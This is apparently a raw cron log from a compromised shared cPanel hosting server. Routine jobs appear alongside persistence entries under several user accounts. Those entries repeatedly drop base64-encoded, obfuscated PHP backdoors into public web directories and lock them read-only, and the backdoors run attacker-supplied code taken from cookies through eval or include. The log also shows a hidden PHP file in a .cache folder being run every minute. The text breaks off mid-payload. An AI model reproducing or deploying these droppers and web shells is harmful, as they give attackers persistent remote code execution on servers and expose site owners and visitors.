Mar  2 10:45:01 medusa CROND[12585]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 10:45:01 medusa CROND[12582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:46:01 medusa CROND[31096]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:46:01 medusa CROND[31098]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 10:46:01 medusa CROND[31099]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:46:01 medusa CROND[31097]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:46:01 medusa CROND[31100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:46:01 medusa CROND[31101]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:46:01 medusa CROND[31102]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:46:01 medusa CROND[31107]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 10:46:01 medusa CROND[31109]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:46:01 medusa CROND[31111]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:46:01 medusa CROND[31113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:46:01 medusa CROND[31114]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:46:01 medusa CROND[31115]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:46:01 medusa CROND[31119]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:46:01 medusa CROND[31126]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 10:47:01 medusa CROND[13027]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:47:01 medusa CROND[13049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:47:01 medusa CROND[13051]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:47:01 medusa CROND[13052]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:47:01 medusa CROND[13055]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:47:01 medusa CROND[13057]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:47:01 medusa CROND[13059]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:47:01 medusa CROND[13056]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 10:47:01 medusa CROND[13060]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 10:47:01 medusa CROND[13068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:47:01 medusa CROND[13071]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:47:01 medusa CROND[13073]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:47:01 medusa CROND[13074]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:48:01 medusa CROND[32551]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:48:01 medusa CROND[32552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:48:01 medusa CROND[32553]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:48:01 medusa CROND[32554]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnK